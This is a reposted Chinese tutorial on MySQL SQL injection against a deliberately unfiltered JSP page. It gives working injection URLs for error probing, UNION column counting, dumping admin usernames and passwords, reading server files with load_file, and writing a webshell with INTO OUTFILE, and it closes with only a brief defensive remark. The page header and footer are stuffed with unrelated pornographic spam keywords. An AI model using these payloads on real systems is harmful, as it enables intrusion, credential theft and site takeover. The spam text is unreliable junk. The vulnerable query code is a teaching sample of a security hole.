青草久久影院-青草久久伊人-青草久久久-青草久久精品亚洲综合专区-SM双性精跪趴灌憋尿调教H-SM脚奴调教丨踩踏贱奴

17站長網(wǎng)

17站長網(wǎng) 首頁 安全 安全教程 查看內(nèi)容

MYSQL數(shù)據(jù)庫注射精華

2022-9-24 10:49| 查看: 2218 |來源: 互聯(lián)網(wǎng)

鄙人今天心血來潮突然想寫篇文章,鄙人從來沒寫過文章,如果有錯誤的地方請多多指教. 本文需要有基礎(chǔ)的SQL語句知識才可以更好的理解.建議想學(xué)習(xí)的人多去了解一下SQL語句 和編程語言,知己知彼才能百戰(zhàn)百勝. 我不
鄙人今天心血來潮突然想寫篇文章,鄙人從來沒寫過文章,如果有錯誤的地方請多多指教.
本文需要有基礎(chǔ)的SQL語句知識才可以更好的理解.建議想學(xué)習(xí)的人多去了解一下SQL語句
和編程語言,知己知彼才能百戰(zhàn)百勝.
我不希翼得到讀者您的好評,盡管我盡力了;只希望本文能解決您學(xué)習(xí)過程的障礙,希望
您早日掌握有關(guān)MYSQL 注入方面的知識.
1.MYSQL 注射的產(chǎn)生.
漏洞產(chǎn)生原因 : 程序執(zhí)行中未對敏感字符進(jìn)行過濾,使得攻擊者傳入惡意字符串與結(jié)構(gòu)
化數(shù)據(jù)查詢語句合并,并且執(zhí)行惡意代碼.
咱們先創(chuàng)造一個沒有過濾的程序. 因?yàn)槲覚C(jī)器上沒有PHP,所以我就是用 JAVA 了,我會
詳細(xì)注釋.
代碼
數(shù)據(jù)庫:
create database if not exists `test`;
USE `test`;
/*數(shù)據(jù)表 `account` 的表結(jié)構(gòu)*/
DROP TABLE IF EXISTS `account`;
CREATE TABLE `account` (
`accountId` bigint(20) NOT NULL auto_increment,
`accountName` varchar(32) default NULL,
`accountPass` varchar(32) default NULL,
PRIMARY KEY (`accountId`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*數(shù)據(jù)表 `account` 的數(shù)據(jù)*/
insert into `account` values
(1,’account1’,’account1’);
/*數(shù)據(jù)表 `admin` 的表結(jié)構(gòu)*/
DROP TABLE IF EXISTS `admin`;
CREATE TABLE `admin` (
`adminId` bigint(20) NOT NULL auto_increment,
`adminName` varchar(32) default NULL,
`adminPass` varchar(32) default NULL,
PRIMARY KEY (`adminId`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*數(shù)據(jù)表 `admin` 的數(shù)據(jù)*/
insert into `admin` values
(1,’admin’,’admin’);
:
程序:
<%@ page language="java" import="java.util.*,java.sql.*"
pageEncoding="utf-8"%>



<%
//連接MYSQL的字符串.
//jdbc:mysql://localhost:3306/test
//驅(qū)動:數(shù)據(jù)庫://地址:端口/數(shù)據(jù)庫名稱
String mysqlConnection = "jdbc:mysql://localhost:3306/test";
//加載驅(qū)動 com.mysql.jdbc.Driver 是JAVA與MYSQL 連接用的JDBC驅(qū)動
Class.forName("com.mysql.jdbc.Driver").newInstance();
//建立MYSQL鏈接 root是用戶名 cx0321 是密碼
Connection connection = DriverManager.getConnection(mysqlConnection,
"root", "cx0321");
//建立一個查詢對象
Statement statment = connection.createStatement();
//建立一個查詢返回集合. 就是說查詢完以后返回的數(shù)據(jù)全部都在這個里面.
ResultSet resultSet = null;
//從account里面讀取數(shù)據(jù).
resultSet = statment.executeQuery("select * from account where accountId
= ’" request.getParameter("id") "’");
//循環(huán),直到resultSet結(jié)束
while(resultSet.next())
{
//從resultSet讀取出值輸出到頁面.
out.print(resultSet.getInt(1) "|");//取出第一列的值,因?yàn)槭菙?shù)字類型的所
以是getInt();
out.print(resultSet.getString(2) "|");//取出第二列的值,因?yàn)槭亲址?
型的所以是getString();
out.print(resultSet.getString(3) "|");
out.print("
");//頁面輸出換行
}
%>


2.漏洞的利用

(壞狼安全網(wǎng)提供圖1)
這個就是數(shù)據(jù)庫里的記錄了.以后黃色為關(guān)鍵語句,紅色為輸入的部分.
大家注意看resultSet = statment.executeQuery("select * from account
where accountId = ’" request.getParameter("id") "’");
這里的request.getParameter("id") 是獲取GET 傳參的id 參數(shù), 也就是
mysqlInject.jsp?id=1 這里的id. 這樣這個SQL 語句就變成了select * from
account where accountId = ’1’ 了.如果加以變換呢?
2.1 漏洞的檢測
我們把id 寫成mysqlInject.jsp?id=1’ 那么SQL 語句就變成select * from
account where accountId = ’1’’ 了,這樣的話SQL 語句就會報錯,因?yàn)镾QL 語句的值
是需要2 個包含符號,比如’和”如果只是數(shù)字可以什么都不寫.如果不報錯的話就說明程序替換,
過濾或者其他方法來防護(hù)了.

那么我們可以繼續(xù)來測驗(yàn), mysqlInject.jsp?id=1’ and ’’=’ 那么SQL 語句就變
成了select * from account where accountId = ’1’ and ’’ = ’’ ,應(yīng)該返回正
常.

有些人說我的為什么返回不正常呢? 有2 種原因,第一是程序把惡意字符過濾了;第二是程
序的語句和我寫的不一樣select * from account where accountId = 1’ and ’’=’.
這個問題在下邊會談到.
2.2 Union 查詢猜此次查詢列的數(shù)量
這里有的人會說猜此次查詢列的數(shù)量有什么用?如果只是檢測當(dāng)然沒有,但是你想進(jìn)一
步的利用那么就有大的用處了,文章后邊會講到的,耐心.
如果懂SQL 的人應(yīng)該知道UNION 查詢吧?UNION 查詢就是聯(lián)合查詢,執(zhí)行第二條查詢
語句將返回值和本次查詢合并.
大家想想,如果要和本次查詢值合并需要一個什么條件呢?需要聯(lián)合查詢的列數(shù)和此
次查詢的列數(shù)相等.如果不想等的話就會無法合并,那么就會報錯.通過這一特點(diǎn)聰明的你應(yīng)該
會想出這么才列數(shù)了吧?
那么我們要的就是使得UNION 查詢出來的列數(shù)與本次查詢出來的列數(shù)相等.也就是說不報
錯就會相等.
先從第一列開始猜,那么要把這個語句union select 1 構(gòu)造在地址程序的語句當(dāng)中.
那么語句就是mysqlInject.jsp?id=1’ and union select 1 and ’’=’ 這樣的.
有些人問為什么后邊(綠色的部分)要加上and ’’=’ 呢? 也許大家記了吧,我們的SQL 語
句是需要兩個包含符號的,語句select * from account where accountId = ’1’ 我
們輸入的是在1 那個位置,所以要去除后邊的’,否則語句會報錯的.
在本程序里也就是’ 如果你要想消除’ 有很多辦法,為了讓大家明白所以我現(xiàn)在使用and
’’=’.
先說一說有幾種辦法消除這個’
1. 使用 and ’’ = ’ 雖然不夠方便,但是在復(fù)雜SQL 語句里不會報錯的.
2. 使用注釋 # 或者 /**/, 這樣可以把后面的東西全部注釋掉,但是有一個大問題,就
是在執(zhí)行復(fù)雜SQL 語句的時候有可能會報錯.
有些人測試,咦?為什么我加了#還是會報錯呢?因?yàn)楸敬问鞘褂肎ET 傳參,在地址欄傳
參.大家想想,當(dāng)初下載帶#名稱的數(shù)據(jù)庫是什么樣子呢?哦,對了,#是地址欄的結(jié)束符,
就是說#包括#以后的字符全部不傳入.所以#在GET 模式下注入注入不起作用.
那么有些工具寫的在構(gòu)造注射的時候?yàn)槭裁词?
mysqlInject.jsp?id=1’/**/and/**/union/**/select/**/1/**/and/**/’’
/**/= /**/’/* 呢? 因?yàn)樵诔绦蚶镞呌泻瘮?shù)可以把傳入?yún)?shù)里面的空格去除,如果去除
了空格,將會是程序產(chǎn)生了錯誤的語句,那么就會一直報錯了.所以有些工具就是用/**/這
種東西來取代空格了.
那 /**/ 又是什么呢? /**/ 是一種注釋,叫做文檔注釋,就是從/* 開始直到*/ 結(jié)束,中
間任何代碼都會成為注釋,所以是程序員在寫大量注釋時候所使用的一種注釋.
那最后的/* 是什么呢? 那個是用來解決 SQL 語句 包含符號沒有成雙成對的.
我們開始測試.
mysqlInject.jsp?id=1 ’/**/union/**/select/**/1/*
select * from account where accountId = ’1
’/**/union/**/select/**/1/*’.

注意到最低下那句話了嗎?
javax.servlet.ServletException: The used SELECT statements have a
different number of columns
大概意思是”這個使用的查詢列數(shù)不同”,由此得出此次查詢不是查詢了一個表.
以此類推, select 1 select 1,2 select 1,2,3 知道正確位置,那么你現(xiàn)在說寫的列數(shù)也
就是本次查詢的列數(shù)了.

大家看到地下返回 1|2|3| ,這個值是從咱們的UNION查詢里合并出來的. 試試把UNION
SELECT 1,2,3 換成 UNION SELECT 4,5,6 看看.地下是不是編程了 4|5|6| 了?

有人說 你都是騙人的 我怎么換,我都換到789 了也沒有出來,還是現(xiàn)實(shí)原來的數(shù)據(jù),你騙
人;我沒有騙人,我也不會騙人;那為什么出不來?
有些程序?qū)懙臅r候只是把數(shù)據(jù)返回集合的第一行輸出,但是UNION 查詢以后是把數(shù)據(jù)合并
到此次查詢以后,那么他只輸出了此次查詢的數(shù)據(jù),其實(shí)UNION 查詢的數(shù)據(jù)也有,但是他沒有輸
出.那怎么辦呢?聰明的人一定會想到. 啊,原來如此,只要讓此次查詢不輸出就可以了.哈哈哈,
我聰明了,可是怎么讓此次查詢不輸出呢? 先告訴大家一個簡單的方法,看看SQL 語句,我們是
做過限制條件的. Where accountid = ? ,那么也就是說讓這個accoundId 限制到一個沒
有的id 上那么不就會沒有了? 心動不如行動,試試.
mysqlInject.jsp?id=1000’/**/union/**/select/**/4,5,6/*
select * from account where accountId
=1000’/**/union/**/select/**/4,5,6/*

哈哈,果然沒有了!!! 注意綠色的部分,指定查詢一個沒有的id ,那么他理所當(dāng)然的就會
蒸發(fā)了.
2.3 低幾率另類猜此次查詢列的數(shù)量
此方法雖然幾率低一點(diǎn),但是會大大減少工作量的.次方法只適用于 select * 的簡易
SQL 語句.
這個方法是用的是 mysql 里的 order 排序. 排序是按照順序排下來.我們來寫一條
SQL 語句. Select * from account where accountId = ’1’ order by accountId
那么這個SQL 語句也就是根據(jù) accountId 升序排序. 那么我們不知道他有什么怎么辦,而且
這怎么猜? 這里是關(guān)鍵問題. MYSQL 支持列編號排序Select * from account where
accountId = ’1’ order by 1 這樣也就是按照第一列排序.
哎呀,你又在騙我們,排序怎么猜列的數(shù)量? 那么我按照一個不存在的列排序呢? 比如第四
列? 你一般身上有3 個口袋,一個最多10 元錢,一天吃一頓,一頓3 斤米,一斤米一元,但是你今
天吃了4 斤米,需要40 元,你卻只有3 個口袋,你就沒有40 元,你就要挨打了.
也就是說一共有3 個列,order by 3 ,按照第3 列排序,正常,order by 4,按照第4
列排序,沒有第4 列,出錯.那么也就說明他有4 列.
這種方法是根據(jù)人的經(jīng)驗(yàn)判斷的.我一般使用這個方法都會成功,就是不成功也相差不多.
2.4 使用UNION 猜其他表,查詢其他表
使用此方法可以查詢到其他表里的內(nèi)容.比如查詢管理員的密碼等.但是有個前題,必須道要
才表的表名和列名. 那怎么才能知道呢? 猜!!! 因?yàn)镸YSQL 和SQLSERVER 的系統(tǒng)函數(shù)不一
樣,SQLSERVER 里有 SP_HELPDB 而MYSQL 里沒有,所以只能猜了.
好,開始構(gòu)造語句. 我們要猜看看有沒有admin 表.
mysqlInject.jsp?id=1’/**/union/**/select/**/4,5,6/**/from/**/admin/*
SQL : select * from account where accountId =
’1’/**/union/**/select/**/4,5,6/**/from/**/admin/*’
如果正常的有admin 表的話,那么返回是正常的,如果沒有的話會報錯的.

大家看到了吧? 有admin 這個表,為了讓大家更好的理解,我們在猜一個其他不存在的表.
mysqlInject.jsp?id=1’/**/union/**/select/**/4,5,6/**/from/**/helloword/*
SQL : select * from account where accountId =
’1’/**/union/**/select/**/4,5,6/**/from/**/ helloword/*’

看到了吧?沒有 helloworld 這個表.所以報錯了.
又問,為什么還是會寫4,5,6 呢? 啊哈,因?yàn)槲覀儾恢浪牧忻?如果寫了 * 他將會全部列
出來,如果和此次查詢的列不相等,那么就會報錯了.所以要寫一個相等的.
現(xiàn)在表名出來了,怎么才列名呢?哎呀,大家太聰明了,直接把4,5,6 其中一個替換成列名
不久行了? 那么構(gòu)造出.
mysqlInject.jsp?id=1’/**/union/**/select/**/adminId,5,6/**/from/**/admin/*
SQL : select * from account where accountId =
’1’/**/union/**/select/**/adminid,5,6/**/from/**/admin/*’

看見了嗎? 1|5|6 的一就是 adminid.如果正常那么就是存在了. 大家可以把列名猜出來,然后
帶入UNION 查詢中,這樣就查出來管理員帳號或者密碼了.現(xiàn)在我要把列名一次全部帶入.
mysqlInject.jsp?id=1’/**/union/**/select/**/adminId,adminName,adminPass/**/from/**/admin/*
SQL : select * from account where accountId =
’1’/**/union/**/select/**/adminid,adminName,adminPass/**/from/**/admin
/*’
哈哈,出來了, 1|admin|admin| 就是 adminid|adminName|adminPass|
也可以在union 查詢上限制條件,比如你知道有admin 這個用戶那么就構(gòu)造 union select
adminId,adminName,adminPass from admin where adminName = ‘a(chǎn)dmin’,看個人的發(fā)揮了.
2.5 使用MYSQL 系統(tǒng)函數(shù).
2.5.1.1.1 使用 load_file() 函數(shù) 顯示文件.
Load_file 顧名思義.就是加載文件,可不是運(yùn)行啊,是顯示內(nèi)容,但是必須對文件擁
有讀取權(quán)限.我們先來構(gòu)造一個顯示 c:\boot.ini 文件的語句.
mysqlInject.jsp?id=1’/**/union/**/select/**/1,load_file(0x633A5C626F6F742E696E69),
3/*
SQL : select * from account where accountId =
’1’/**/union/**/select/**/1,
load_file(0x633A5C626F6F742E696E69),3/*’

看到了嗎? C:\boot.ini 文件的內(nèi)容. 又問,為什么load_file() 里面是
亂碼呢? 那不是亂碼,那個是C:\boot.ini 16 進(jìn)制編碼. 因?yàn)楸竞瘮?shù)無法處理
直接寫的路徑,只能能使用16 進(jìn)制或者是 Ascii 編碼.所以要將路徑轉(zhuǎn)換成 16
進(jìn)制或者是Ascii 編碼才可以執(zhí)行.
又問,為什么load_file 是在第二列的位置上,不是在第一列或者第三列的位置上呢?
因?yàn)榘?第一列不行,其他的都可以,第一列是一個 INT 類型,一個數(shù)字類型,難道你會
把你女朋友送進(jìn)男廁所嗎? 呵呵.玩笑.如果是在 linux 下可以使用 / 來列目錄 ,但
是必須有列目錄的權(quán)限.
通過load_file 可以列目錄,讀文件,但是遇到文件格式編碼的時候也許會遇到亂碼
的問題. 這個問題可以這么解決. 使用 subString 函數(shù), subString(字符串,開始,返
回).
假設(shè)我們要返回第三個字符, 那么就是
mysqlInject.jsp?id=1’/**/union/**/select/**/1,substring(load_file(0x633A5C626F6F742
E696E69),3,1) ,3/* 這樣我們就返回了第三個字符,用于解決亂碼是非常好的辦法.
我近期會做一個這樣個工具,將會公布在我的個人主頁上.
2.5.1.1.2 使用outfile 寫WEBSHELL.
mysql 有一個功能,就是把查詢的結(jié)果輸出.就是outfile.先來構(gòu)造一個簡單的語句.
select ‘hello word’ into outfile ‘c:\\a.txt’ 這里是講 ‘hello word’ 輸出到 c:\a.txt
那么在網(wǎng)站也來構(gòu)造一下.
mysqlInject.jsp?id=1’/**/union/**/select/**/1,’hello’,3/**/into/**/outfile/**/’c:\\hello.txt’/
*
SQL : select * from account where accountId =
’1’/**/union/**/select/**/1,
’hello’,3/**/into/**/outfile/**/’c:\\hello.txt’/*’
成功插入.但是為什么會報錯呢?哦,那是因?yàn)槟惆褦?shù)據(jù)寫到文件中,返回集合什
么都沒有了,當(dāng)然會報錯了.如果你把hello 換成 一句話或者其他的,如果寫入
到網(wǎng)站目錄下,那是多么恐怖啊…
2.5.1.1.3 System 系統(tǒng)命令
如果使用system 就相當(dāng)于SQLSERVER 的xp_cmdshll 一樣.
2.漏洞的防護(hù)和總結(jié)
通過過濾特殊關(guān)鍵字來防護(hù).代碼網(wǎng)站很多,我這里就不寫了.
針對JAVA 有一種防護(hù)措施,就是使用PreparedStatement 對象進(jìn)行查詢,這里也不多說
了.
本文只是一個概括的講述,如果應(yīng)用到實(shí)戰(zhàn)當(dāng)中需要結(jié)合經(jīng)驗(yàn).
本文最后更新于 2022-9-24 10:49,某些文章具有時效性,若有錯誤或已失效,請在網(wǎng)站留言或聯(lián)系站長:[email protected]
·END·
站長網(wǎng)微信號:w17tui,關(guān)注站長、創(chuàng)業(yè)、關(guān)注互聯(lián)網(wǎng)人 - 互聯(lián)網(wǎng)創(chuàng)業(yè)者營銷服務(wù)中心

免責(zé)聲明:本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集,旨在傳播知識,文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請勿用于商業(yè)用途,如果損害了您的權(quán)利,請聯(lián)系我們及時修正或刪除。謝謝!

17站長網(wǎng)微信二維碼

始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長轉(zhuǎn)型升級,為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù),與站長一起進(jìn)步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨(dú)!

掃一掃,關(guān)注站長網(wǎng)微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 伊人免费在线 | 狠狠狠狠狠狠干 | av影音先锋天堂网 | 国产在线观看免费观看 | 男女牲交大战免费播放 | 国内精品伊人久久久影院 | 久久亚洲AV成人无码动态图 | 秋霞网站一级一片 | 在线自拍综合亚洲欧美 | 无码AV精品久久一区二区免费 | 影音先锋av天堂 | 影音先锋男人av橹橹色 | 乱亲女H秽乱长久久久 | 日本特黄的免费大片视频 | 免费完整版观看 | 在线观看免费毛片 | 亚洲娇小性色xxxx | 国产福利视频在线观看福利 | 亚洲精品无夜久久久久久久久 | 中文视频在线观看 | 顶级欧美不卡一区二区三区 | 良家人妻无码专区九色颜射 | 4虎影院午夜在线观看 | YELLOW高清视频免费观看 | 午夜伦yy44880影院 | 国产午夜精品理论片影院 | 欧美午夜a级精美理论片 | 娇小XXXXX第一次出血 | 99国产精品久久 | 亚欧成人毛片一区二区三区四区 | 浪小辉军警服务员VIDEOS | 熟妇无码乱子成人精品 | 亚洲国产成人一区二区在线 | caoporn 免费视频 | 91精品国产高清久久久久久 | 日韩精品在线看 | 男女做爽爽爽视频免费软件 | 最近中文字幕高清中文 | 岛国大片在线播放免费 | 国产亚洲精品久久久久久国 | 国产午夜一区二区三区免费视频 |